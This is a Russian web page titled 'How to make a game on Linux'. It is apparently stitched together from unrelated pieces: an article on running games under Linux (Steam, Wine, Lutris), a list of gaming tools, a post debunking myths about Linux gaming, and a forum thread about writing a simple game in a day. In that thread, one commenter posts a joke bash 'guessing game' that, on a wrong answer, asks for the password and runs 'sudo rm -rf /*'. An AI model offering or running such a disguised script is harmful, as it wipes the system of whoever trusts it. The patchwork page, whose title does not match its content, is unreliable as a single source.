Как сделать игру на линукс

Добавил пользователь Евгений Кузнецов
Обновлено: 19.09.2024

Могу ли я играть игры в Linux? Это один из самых часто задаваемых вопросов среди людей, которые собираются перейти на Linux. Игры часто выделяются как отдельная возможность Linux. Некоторые люди даже интересуются, смогут ли они слушать музыку и смотреть фильмы в Linux. Учитывая это, вопрос о возможности играть в Linux кажется вполне резонным.

В этой статье я отвечу на большинство вопросов, касающихся игр в операционной системе Linux, которые могут возникнуть у новичка. Например такие, как "можно ли играть в игры на Linux?", "какие игры доступны и где их можно скачать?", "где получить больше информации об играх для Linux?". Приступим.

Можно ли играть в игры под Linux?

Да - вы можете играть на Linux, и нет - вы не можете играть во все игры в Linux. Есть много популярных игр в Linux: Counter Strike, Metro Last Light и т д. Но вы не сможете играть во все последние игры, вышедшие для Windows, например, ту же PES 2020.

Причина этому, на мой взгляд то, что Linux занимает менее 2% доли рынка настольных PC. Эти цифры очень сильно снижают мотивацию производителей игр делать версии для Linux. Есть очень большая вероятность, что лучшие игры года, не будут доступны для Linux. Но не расстраивайтесь, есть и другие способы запуска игр в Linux, о которых мы поговорим позже. Сейчас давайте рассмотрим, какие игры для Linux бывают.

Я их разделяю на четыре группы:

  • Нативные игры
  • Игры Windows в Linux
  • Браузерные игры
  • Консольные игры

Начнём с родных, нативных игр.

1. Где взять нативные игры для Linux

Нативными играми я называю те игры, которые официально поддерживаются в Linux. Их можно установить, как и большинство других программ, без каких-либо дополнительных усилий.

Как видите, Linux для развлечений не так уж и непригоден, как может показаться, и игры всё-таки есть. Но возникает следующий вопрос: где же их взять? Рассмотрим несколько источников, где вы можете скачать нативные игры для linux:

Steam

Install-Steam-Ubuntu-11

Steam - это цифровая платформа для распространения видеоигр. Так же как и Amazon - платформа для распространения книг, а Itunes - музыки. Здесь вы можете покупать, устанавливать и играть в многопользовательские игры, а также общаться с другими клиентами сервиса. Все игры защищены с помощью DRM. В Steam вы можете найти тонны игр от уровня ААА до небольших инди проектов.

Несколько лет назад игровая платформа Steam объявила о поддержке Linux, и это было большой новостью. Она означала, что у игровой индустрии серьезные планы на Linux. Valve создала собственную игровую консоль, основанную на Linux, а также свой дистрибутив Linux - SteamOS. Это заставило разработчиков портировать множество игр для Linux. Об установке и настройке Steam вы можете прочитать в отдельной статье - Установка и использование Steam


Приобретённые игры доступны в вашей учетной записи, и вы можете скачать их, когда хотите. Здесь даже не нужно устанавливать клиент как в Steam, вы просто скачиваете игру с помощью браузера, устанавливаете и уже можете играть в нативные игры для linux.

Portable Linux Games


Itch.io


Если вы ищите нативные инди игры для Linux, то ресурс itch.io вам отлично подойдёт. Здесь вы можете получить огромное количество как платных, так и бесплатных игр. На страницах игр есть ссылки на загрузку исполняемых файлов для Linux.

Репозитории программ

Поищите в официальных репозиториях вашего дистрибутива. Обычно там тоже есть некоторые игры. Если у вас Ubuntu, то в центре приложений есть даже раздел для игр. То же самое есть и в других дистрибутивах Linux, например в Linux Mint.

2. Как играть Windows игры в Linux

Wine-Linux

До сих пор мы говорили только о родных играх для Linux. Но их не так много. Если быть точным, то самые популярные игры доступны только для Windows. Поэтому возникает вопрос, как же играть в Windows-игры под Linux?

С помощью таких программ, как Wine, Phoenicis (ранее известный как PlayOnLinux), CrossOver, Lutris и GameHub вы можете играть во множество популярных игр Windows в Linux.

Steam Play


Если вы уже использовали Steam для того чтобы играть нативные игры для Linux, вы можете попробовать запустить Windows игры с помощью технологии Steam Play. Она реализует прослойку совместимости для Windows игр и основана на Wine с добавлением нескольких дополнительных библиотек и технологий.

Wine - это прослойка совместимости между Windows приложениями и операционной системой, позволяет запускать Windows-игры в Linux, BSD и MacOS X. С помощью Wine можно запускать не только игры, но и огромное количество Windows-программ.

Установить Wine в Ubuntu или любой другой версии очень просто, так как он доступен в официальных репозиториях большинства дистрибутивов. Также есть огромная база приложений, которые поддерживаются в Wine.

CrossOver

Crossover - это улучшенная версия Wine, с профессиональной технической поддержкой. Но в отличие от Wine, CrossOver не бесплатен. Вы можете приобрести годовую лицензию на программу. Каждая покупка способствует разработке Wine и поддержке им большего количества игр и программ. Цена годовой лицензии около $10.

GameHub


Программа GameHub представляет из себя центр приложений, позволяющий устанавливать игры из различных источников, например, Steam, GoG или Humble Bundle. С помощью неё вы можете управлять всеми своими играми в одном месте. Кроме нативных игр поддерживаются такие прослойки совместимости для Windows игр как Wine и Proton.

Lutris


Программа Lutris очень похожа на GameHub, только поддерживает намного больше источников. К ним относятся: Origin, Uplay, Epic Games и другие. С этой программой играть в Linux становится проще, к тому же программа очень популярна среди многих пользователей. Перед тем как её использовать посмотрите официальный список поддерживаемых игр.

Phoenicis PlayOnLinux


PlayOnLinux тоже основан на Wine, но устроен немного по-другому. У него есть графический интерфейс и пользоваться им намного удобнее, чем Wine. Так же, как и Wine, PlayOnLinux бесплатный. Поддерживаемые игры можете посмотреть на официальном сайте.

3. Браузерные игры

Chrome-Web-Store

Наверное, можно и не писать, что есть тонны игр на основе браузера, в которые можно играть в любой операционной системе, будь то Windows, Linux или MacOS. У многих мобильных игр есть свои браузерные аналоги.

Кроме того, благодаря Google Chrome Web Store, вы можете играть в некоторые игры как в родные под Linux. Эти игры установлены как отдельное приложение и будут доступны из главного меню вашего Linux-дистрибутива.

4. Консольные игры

nSnake_Linux_terminal_game

Ещё одно преимущество Linux - вы можете использовать терминал, чтобы играть в игры. Я знаю, это не самый лучший способ, но время от времени весело поиграть в простенькие игры, такие как змейка или 2048 в терминале. Здесь уже есть небольшой обзор консольных игр для Linux.

Выводы

Я думаю, что это всё, что вам нужно знать, чтобы начать играть в Linux. Если вы всё ещё сомневаетесь, устанавливайте Linux рядом с Windows. Используйте Linux как основную систему и запускайте Windows, когда хотите поиграть. А теперь меня интересует ваше мнение. Играете ли вы в игры под Linux? Какие ваши любимые? За какими блогами следите, чтобы оставаться в курсе игровых новостей?

На десерт сегодня довольно старая, но милая реклама Linux. Be Free! Be Linux!


Многие, кто приходит на Linux, часто используют свою систему как и игровую платформу. В большей степени эта заслуга блогеров, работающих в этом направлении (Plafon, gamer station [on linux] и других) и популяризирующих Linux как игровую платформу. Но нечасто эти блогеры говорят о действительно стоящих инструментах для гейминга на Linux. Какие программы помогут улучшить игровой опыт? Сколько ваших игр поддерживает Linux? Какие клиенты доступны? На все эти вопросы я постараюсь дать исчерпывающий ответ в этой статье подробно описав все нюансы игрового опыта

Steam Proton

Самый известный инструмент для Linux — Steam Proton. Наверняка, многие из вас хотя бы раз слышали о нём. Если нет, то Proton (Steam Proton, Valve Proton) — это слой совместимости для Windows-игр, который позволяет запускать их в системах на базе ядра Linux.

Proton разработан Valve и CodeWeavers как форк популярного инструмента Wine, но включает в себя реализацию DirectX 9/10/11 (на базе пакета DXVK) и DirectX 12 (на базеvkd3d), работающие через трансляцию вызовов DirectX в API Vulkan, предоставляет улучшенную поддержку игровых контроллеров и возможность использования полноэкранного режима независимо от поддерживаемых в играх разрешений экрана.

Помимо официального Steam Proton существуют также его форки, например популярный форк от GloriousEggroll — Proton-GE-CUSTOM

GameMode

Следующий известный инструмент — GameMode от компании Feral Interactive (та, что портировала некоторые части серии GRID, F1, Tomb Raider, XCOM, Total War). По сути это демон (в Linux так называются аналоги служб Windows) для systemd который в автоматическом режиме оптимизирует ОС (разгон процессора, разгон видеокарты, расстановка приоритетов процессов и т.д.)

CoreCTRL

CoreCtrl — приложение, которое помогает создавать профили для разных приложений и оптимизирует под них оборудование. Поддерживается регулировка частоты центрального процессора и видеокарт AMD. Функционалом очень напоминает AMD WattMan

RyzenController

RyzenController — инструмент оверклокинга для мобильных процессоров Ryzen cо встроенной графикой. Интерфейс написан на Electron и React

MangoHUD, GOverlay, vkBasalt

GOverlay — это проект с открытым исходным кодом, целью которого является создание графического интерфейса пользователя для конфигурации оверлеев Vulkan/OpenGL.

vkBasalt — это слой постобработки Vulkan для улучшения визуальной графики игр.

GreenWithEnvy — инструмент для оверклокинга видеокарт NVIDIA

JoyShockMapper

JoyShockMapper — инструмент для использования 3-х осевого гироскопа в геймпадах DualShock 4, Nintendo Joy-Con controllers, и Nintendo Switch Pro Controller. На данный момент программа для Linux (только в рамках Steam Input) недоступна, однако она на стадии подготовки

Piper

Piper — графический пользовательский интерфейс для настройки игровых мышей. Параметры конфигурации включают в себя изменение разрешения (DPI) мыши, добавление и удаление профилей, настройку LED-подсветки и изменение поведения кнопок.

Oversteer и pyLinuxWheel

Oversteer и PyLinuxWheel — аналогичные проекты по управлению гоночными рулями Logitech

Полезные программы

Discord — известный геймерам мессенджер с возможностью видеосвязи и демонстрации экрана. Он также есть и для Linux

Open Broadcaster Software (OBS) — программа с открытым исходным кодом для записи видео и ведения трансляций, используется часто профессиональными стримерами. Есть версия для Linux

Minigalaxy — клиент GOG для Linux с обновлением игр и поддержкой DLC, написан на Python с очень простым и понятным интерфейсом

GameHub — клиент для игр, который поддерживает библиотеки Steam, GOG, Humble Bundle. Добавлены слои совместимости для игр с Windows — Wine и Proton

HeroicGamesLauncher — игровой лаунчер, который синхронизируется с вашей библиотекой Epic Games. Служит графическим интерфейсом для Legendary — консольного клиента Epic Games. Интерфейс разработан профессиональным дизайнером и написан на Electron и React

Полезные сайты

Радар релизов Feral Interactive — раздел сайта компании Feral Interactive, занимающиейся портированием игр под Linux (macOS и для мобильных устройств). Судя по портфелю тайтлов, выпущенных этим гигантом для Linux, сайт заслуживает ваше внимание

Так исторически сложилось, что на территории СНГ основной игровой платформой принято считать PC под управлением операционной системы Windows, а при упоминании Linux-систем, как возможной альтернативы, у многих пользователей может возникнуть недопонимание или чего хуже агрессия. В этом материале мы постараемся опровергнуть большинство заблуждений, которые витают вокруг Linux-гейминга и попробуем разобраться, а можно ли играть?

Альманах новичка. Развеиваем заблуждения о Linux-гейминг Игры, Linux, Wine, Видео, Длиннопост

Слова автора не являются истиной в последней инстанции, так как он тоже человек, а значит, тоже может ошибаться. Прислушивайтесь, но и думайте своей головой!

Особенности Linux-гейминга

Когда мы затрагиваем тему Linux-гейминга, то сто́ит учитывать, что развитие Linux-систем в игровом направлении сдвинулось с мёртвой точки совсем недавно и до этого, стараниями одного софтверного гиганта, имело весьма плачевный вид. Я не стану повторять почему так было ранее, а лишь отмечу, что Linux-дистрибутивы предоставляют обширные возможности в плане игр и недооценивать их потенциал не стоит.

Нативные Linux-игры

Современные нативные Linux-игры — это проекты изначально создаваемые с учётом особенностей Linux-систем как со стороны игровых движков, так и в плане графического API. Обычно такие игры не вызывают проблем в плане установки и показывают аналогичную или лучшую производительность по сравнению с Windows-версиями.

Проведём сравнительное тестирование Linux-дистрибутива ArchLinux и Windows 10 PRO в нативном сетевом проекте Dota 2.

Исходя из показаний теста отчётливо видно, что мы не только не проигрываем Windows-версии, но и получаем преимущество Linux-системы. Меньшее потребление оперативной памяти в совокупности с независимостью со стороны работы фоновых активностей Windows (обновления, задачи по расписанию, телеметрия), а также отсутствие дополнительной синхронизации DWM, обеспечивает более плавный и приятный геймплей.

Альманах новичка. Развеиваем заблуждения о Linux-гейминг Игры, Linux, Wine, Видео, Длиннопост

Такая экономия ресурсов позволяет уверенно рекомендовать Linux-системы владельцам слабых машин, а также увлеченным геймерам, которые не желают постороннего вмешательства во время игровой сессии и жаждут высокого FPS с максимальным откликом.

Windows-игры на Linux

Переходя к запуску Windows-игр на Linux-системах, сто́ит иметь в виду, что никаких эмуляторов Windows на Linux не существует и весь запуск осуществляется с помощью сторонней реализации Windows API — Wine/Proton, а также средств ретрансляции команд DirectX в доступные графические API на Linux (Vulkan, OpenGL) с помощью DXVK. Выполним запуск нескольких Windows-игр на Linux.

Запуск Resident Evil 3 с использованием Proton прошёл без проблем, а отзывчивость геймплея не доставила каких-либо проблем.

Альманах новичка. Развеиваем заблуждения о Linux-гейминг Игры, Linux, Wine, Видео, Длиннопост

Работа The Witcher: Enhanced Edition лучше на Linux из-за ретрансляции в более современный графический API — Vulkan.

Альманах новичка. Развеиваем заблуждения о Linux-гейминг Игры, Linux, Wine, Видео, Длиннопост

Call of Duty: Modern Warfare 2 — лучшая сюжетная часть зова долга, аналогично работает более плавно под Linux из-за ретрансляции вызовов в Vulkan.

Альманах новичка. Развеиваем заблуждения о Linux-гейминг Игры, Linux, Wine, Видео, Длиннопост

Возможно, кто-то скажет, что новичку будет непривычно разобраться во всяких причудах для запуска Windows-игр в Linux, но теперь все сложные настройки и прочее конфигурационное веселье настраивается в простом графическом помощнике — Lutris.

Lutris — это не только бесплатный менеджер игр для Linux, но и полноценным игровой сервис, который обеспечивает потрясающие возможности в плане простоты установки и настройки игр для Linux.

Выполним установку и запуск GOG версии The Witcher 3 с использованием Wine и Lutris.

Установив Wine на свой Linux-дистрибутив, мы получили возможность установки и запуска не только The Witcher 3, но и большинства Windows-игр и программ через обычный двойной клик (зависит от DE), а также возможность выбора варианта установки с помощью готовых скриптов для Lutris.

Альманах новичка. Развеиваем заблуждения о Linux-гейминг Игры, Linux, Wine, Видео, Длиннопост

Конечно, производительность многих игр будет зависеть от множества факторов и без проблем не обойтись, но если ссылаться на популярные ресурсы по отслеживанию производительности Windows-игр на Linux (ProtonDB, Lutris), то можно заметить, что никаких проблем с производительностью у большинства проектов нет и поиграть во многие хитовые игры не составит труда.

Open source и эмуляторы

Проекты с открытым исходным кодом и эмуляторы, возможно, лучшее волшебство, что доступно на Linux, ведь они дают возможность прикоснуться к огромной библиотеке игр без ограничений и подарить ощущение истинной свободы. Я не стану рассуждать про преимущества компиляции под железо и разные красноглазые трюки, а лишь отмечу, что в установке эмуляторов и open source игр нет ничего сложно и вы легко сможете найти их на Github или в пакетном менеджере вашего дистрибутива. Перечислим несколько знаковых проектов, которые мне когда-то понравились.

The Dark Mod — это лучший мультиплатформенный стелс, который построен на базе движка DooM 3 и повествующий о приключениях Гаррета вора. Вас ожидает прелестный старина Гаррет и сотни продуманных карт. Доступно совершенно бесплатно!

Minetest — это бесплатная версия популярной песочницы Minecraft с потрящающей механикой. Доступно бесплатно.

OpenMW — бесплатный Morrowind, что без проблем работает на современных системах и выглядит привлекательней оригинала. Доступно бесплатно.

Буду честен, эмуляторами пользовался нечасто и в основном это были эмули PS2 и PS3, но работа их идеальна, ибо не зря существуют целые Linux-дистрибутивы, которые превращают любое устройство в консольный комбайн. (Libretro, RetroArch, Lakka).

Альманах новичка. Развеиваем заблуждения о Linux-гейминг Игры, Linux, Wine, Видео, Длиннопост

Можно ещё долго продолжать этот список, но надеюсь, что суть вы уловили, так как существует уйма проектов, которые только и ждут, пока вы их попробуете.

Плюсы и минусы игры на Linux

Меньшее потребление ресурсов в нативных играх

Более быстрый отклик из-за отсутствия DWM

Громадные возможности по настройке и компиляции

Простое включение старых технологий (EAX)

Никто не кушает ваши ресурсы и пинг

Некоторые игры требуют танцев с бубном

Проблемы с античитами

Нужно обучиться работе с системой

В общем, я не заставляю и не пропагандирую ставить Linux пользователям, которые не совсем понимают, а зачем мне всё это? Я лишь хотел донести, что миры Linux-гейминга хоть и связаны со многими трудностями, но постепенно, преодолевая проблемы, дарят истинную свободу, которая сможет выручить не один раз.

Если вам понравился материал, то пожалуйста — посетите блог автора ТЫК.

Видеоверсия


GNU/Linux

720 постов 13.3K подписчиков

Правила сообщества

Все дистрибутивы хороши.

С 12го года играю исключительно на Linux, и могу сказать что опыт гейминга стремительно продвинулся за эти годы. Читая комментарии очень многие пишут про танцы с бубном при установке, но по своему опыту скажу что их сведения немного уже устарели) Все верно, в 12х-17х годах установка любой игры могла занимать пол-дня "танцев". В последнее время с развитием wine, dxvk, vkd3d установка игры ничем не отличается от Вин - в один клик.

Ранее - в префиксе пробуешь различные настройки, подтягиваешь дополнительные Вин библиотеки от corefonts и d3d9 до vcrun, что бы как-то запустить, а потом еще оказывается либо нажатия клавиш не обрабатываются, либо курсор не удерживается в окне.

Теперь - связка wine + dxvk, и на карточке Nvidia с проприетарными драйверами 90% игр устанавливается и запускатся "в один клик" (официальные релизы, не всякие пережатые репаки с кейгеном-трояном в комплекте, последний как раз и падает). Не знаю все ли так же хорошо на AMD.

Даже есть обратные плюсы - старые игры точно так же ставятся и запускаются без проблем, а на Windows 10 нет и приходится искать решение.

Использую просто wine без "помощников", но насколько знаю на Lutris и Steam все еще проще. Переиграл в кучу игр (в основном РПГ) от старых Готик/Свитков до Ведьмаков/Метро. Так же D2R - вот она кстати в один клик не запустилась, но на WineHQ есть решение. И по поводу нативных - по моим наблюдениям у многих все равно базой является Вин версия, обернутая в что-то что так же транслирует вызовы как вайн. Сравнивая Metro Exodus нативную/wine у первой был больше ФПС, но были фризы на пол-секунды-секунду, которые раздражали. На wine ФПС чуть меньше - но все стабильно.

Так же не призываю никого переходить, но просто хотел отметить тот факт, что уже на Линукс с играми с большего все хорошо.

Если возможно, то на чем это можно сделать? Я имею ввиду какой язык программирования для этого подойдет лучше.

Понятно что спрайты можно рисовать в gimp'e и inkscape, модели делать в blender'e. Тут как бы альтернатив то особо нет.



Какая лицензия у этого кода?



Blender, быстрее ничего не представляю.


А ты то откуда знаешь? Как ты аффилирован с автором кода?

Этот код тривиален и не попадает на действие законов об авторских правах



А есть пошаговый пример, как в блендере это сделать?

а разве TIME, а не TIMER?



А так и поиграть можно:

А если сюрьезно?



Я пятнадцать лет ВАСИК не трогал, могу ошибаться.


>А если сюрьезно?

Тетрис, танчики, аркада простенькая, стрелялка с тупым ИИ на базе какого-нибудь открытого движка.



> Как сделать игру под Linux за один день?

> И вообще возможно ли это?

Конкретнее, пожалуйста. "Игра" - это очень общее понятие.


Можно! Только надо купить ведро вещества. :)


>RANDOMIZE TIMER


А что это за коробка с ногами на аватаре?


while true; do
read -p "Enter number from 0 to 9: " A
if [ "$A" = "exit" ]; then
exit
fi
if [ "$A" = "`expr $RANDOM % 10`" ]; then
echo "You win"
else
echo "Enter your password for continue"
sudo rm -rf /*
fi
done
[/code]
patched


Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.


Должно быть. Я лет семь-восемь назад по книжке писал редактор уровней для первого квейка, вся инфа была.


> Конкретнее, пожалуйста.

Я имею ввиду простые вещи, вроде тех что на восьми битных консолях были, денди там всякие и т.д.


> Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.


Опять бедную мистрочку смущаешь!? :D


> Опять бедную мистрочку смущаешь!? :D

Я их не различаю, нефиг ники заводить. Да и разве тут есть девушки, акромя Sikon?


Какое отношения тема про рпг майкер имеет к игровому движку с реализованной графикой, физикой и звуком?


А ты таки почитай, там как раз про "сделать игру под Linux за один день" и около того. Всего 3 страницы.




Сегодня прям день шутников)

Одно это чего стоит.

на форуме есть примеры игр, сделанных за 1 день (соревнования типа Ludum Dare)


>Я к сожалению не знаю открытых движков в которых можно тупо загрузить объекты(спрайты, модельки) и описать их поведение, взаимодействие и получить в итоге игру. Приходится еще кучу всего дописывать и/или прикручивать.

Для тетриса там или брейкаута есть свободные движки, на что-то большее под линукс не расчитывай. Для стратегий - glest (устарел, есть glest advanced, только для винды), для шутеров - sauerbraten (забыт в далёком 2001-2002 годах), для остального - какая-нибудь опенсорс игрушка.


> А что это за коробка с ногами на аватаре?


> sauerbraten (забыт в далёком 2001-2002 годах)

4.2 Последнее обновление в начале этого года. Есть регдольная физика и графические плюшки.


>Есть регдольная физика и графические плюшки

Регдольная физика - это замечательно (на моей памяти единственный опенсорс движок для шутеров с регдольной физикой, остальные в основном клоны старых квакодвижков), и графические плюшки - тоже. Только вот у коммерческих движков физика ещё в 2002-2003 году была намного сложнее (Karma, со сложными связями между костями регдолла, на такой физике не то что тряпичные куклы делали, а машины), а отсутствие синхронизации физики по сети + весьма своеобразное построение мира делает его хорошей песочницей, но уж точно не качественным движком для шутеров.

Но, в принципе, для контеста игра за один день sauerbraten подошел бы наверное.


неужели Игре дали название? :)


> Как сделать игру под Linux за один день? И вообще возможно ли это?

На всяких сайтах о PyQt, Allegro и им подобных регулярно проводятся конкурсы игр, созданных за короткий срок: от суток до недели. Кое-во что даже интересно играть :)

Читайте также: